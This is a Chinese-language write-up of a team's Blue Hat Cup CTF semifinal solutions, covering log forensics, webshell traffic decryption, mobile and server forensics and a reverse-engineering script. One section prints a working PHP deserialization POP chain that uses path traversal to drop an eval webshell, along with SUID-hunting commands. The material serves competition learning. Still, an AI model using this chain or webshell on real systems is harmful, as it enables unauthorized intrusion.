“蓝帽杯"全国大学生网络安全技能大赛,是面向全国公安院校和普通高校大学生的高规格、强影响力的实战技能大赛,被誉为未来网警的“奥运会”。第六届“蓝帽杯"由公安部网络安全保卫局、教育部教育管理信息中心、中华全国总工会·中国职工电化教育中心、中国教育技术协会指导,中国人民公安大学、北京理工大学和奇安信科技集团股份有限公司联合主办。
本次比赛升级为综合性赛事活动,考察选手网络安全攻防对抗、电子取证等安全能力。本次赛事包括比赛、培训、高峰论坛等活动。通过三方合作覆盖全国警院及高校,打造“实战化,体系化,常态化"的网络安全人才培养新机制,为国家重点单位和机构输送网络安全实战型专业人才
在本次的半决赛中,我校的代表队圣地亚哥皮蛋取得了全国第一名的好成绩
ntlm relay中肯定存在用户登录行为,需要注意4624和4627,但是题目给出的4624日志太多了,需要找到一个时间点,这就需要通过Windows事件日志6038可以审核NTLM的使用情况:
❝Microsoft Windows Server 检测到客户端与此服务器之间当前正在使用 NTLM 身份验证。当客户端与此服务器之间第一次使用 NTLM 时,每次启动服务器都会发生此事件。
在 system 日志中找到了一个6038日志的记录:
根据6038日志的时间(2022/4/17 11:27:06)在security日志中寻找该时间的logon日志,也就是4624,如下图所示,发现第一个就是:
右键把详细详细信息复制出来,拿到TimeCreated SystemTime之后md5加密就是flag:
写了一个文件
是phpjiami,github上找个轮子解密,是个rsa马,也就是后续都是蚁剑流量套rsa加密
https://github.com/wenshui2008/phpjiami_decode
跟踪流
rsa解密是蚁剑写文件的流量
找到这两个参数的值
带进去,这个是目录
这个是内容:"k85c8f24ca50da" = "yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI/LggnmMXPblFZ6sDNJHoym6I0CkQIYr62+8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ+ZKNN0="
得到flag
全局搜索 __destruct
方法,不多,在 jig.php 里可以看到一个 __destruct
:
如果 $this->lazy
为真则可以进入 $this->write()
。
跟进 $this->write()
:
这里最后会进入到$fw->write()
,我们跟进 $fw->write()
,发现文件写入操作:
我们可以通过这里写入webshell,注意ui目录下才有权限。
最后构造出 pop 链:
<?php
namespace DB {
class Jig {
public $lazy = 1;
public $data = array("cmd.php" => ['<?php eval($_POST[cmd]);?>']);
public $dir = "../../../../../../var/www/html/ui/";
public $format = 0;
}
echo urlencode(serialize(new Jig()));
}// O%3A6%3A%22DB%5CJig%22%3A4%3A%7Bs%3A4%3A%22lazy%22%3Bi%3A1%3Bs%3A4%3A%22data%22%3Ba%3A1%3A%7Bs%3A7%3A%22cmd.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A26%3A%22%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D%7Ds%3A3%3A%22dir%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fui%2F%22%3Bs%3A6%3A%22format%22%3Bi%3A0%3B%7D
?>
发送payload,即可在ui目录下写入webshell,蚁剑连接即可在/flag读取到flag:
要不是非预期,根本不知道怎么做这个题。。。
蚁剑直接连接上,寻找suid提权可用的文件:
find / -perm -u=s -type f 2>/dev/null
有一个ftp,现在有一个思路是在自己的vps上搭建一个ftp server,然后通过/usr/bin/netkit-ftp连接ftp server,将 /flag 上传到自己的vps中去。但是靶机根本不出网,就算我们在靶机内部搭建ftp server,由于没有交互式shell,也无法交互式执行/usr/bin/netkit-ftp。。。一时不知道干啥了。
最后直接尝试用grep过滤文件,非预期发现了flag:
grep -E "*flag{*" /etc/*
奇安信手机分析
手机取证2试错了三次,交不了了。。。。
在微信聊天记录里看见压缩包和密码,里面有好几个exe
这个文件跟Services.exe是一样的,放错了,但是都生成了这个文件,放虚拟机,火绒检测
微步云沙箱
有挖矿命令
看到域名
反查,在韩国
在这里能找到3个apk和一个苹果应用,在受害人手机上、微信聊天里都能找到,但是似乎有点不一样,有的分析不出来,忘记最后用的哪提出来的了,好像是这里
这里也能找到,忘了用的哪个了:
base64解开就是
这里是t(),里面是域名
跟过来,看到loadUrl函数
文件里搜索.cn搜索出来的
跟初赛一样,有安全判断
跟初赛一样的思路,通过判断确定
模拟器打开时白的,main里面有三个文件所以猜3个
跟上面一样找到红星.ipa
后缀改zip解压,打开Info.list,搜BundleId
搜api
也这么挨个搜
配合雷电app分析,得到全选
登录发现连不上就是这个去掉http
这里是程序入口
6661,模拟器登录一下出了
分析包里面的ip啥的都没用,最后看文件名是红星.apk,又有一个红星理财,蒙个红星对了
fiddler打开流量包,找到了登录的流量
发现了用户名密码,密码是md5加密的,进行解密。
17317289056/b12345678b
仿真,root,123456
仿真之后登录,重新获取一下ip
之后网探连接
看基本信息,这里有5个,交了不对
再看有fastcgi,也就是6个,提交正确
所有站点都在这个目录下,尝试提交正确
查看access日志
这里登录了phpmyadmin后台,尝试提交正确
全局搜索系统版本
打开第一个往下翻翻
root目录下有数据库备份文件,下载下来之后搜关键词搜到
主逻辑在这里
我们可以看到1987的这个函数的第一个参数
可以发现两个大数,
然后分析1987函数,结合整体来分析,其实就是其中一个大数乘flag等于另一个大数,
这样的话逻辑十分简单,我们就可以写出脚本:
num = 51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801
num0 = 56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471
print(num//num0)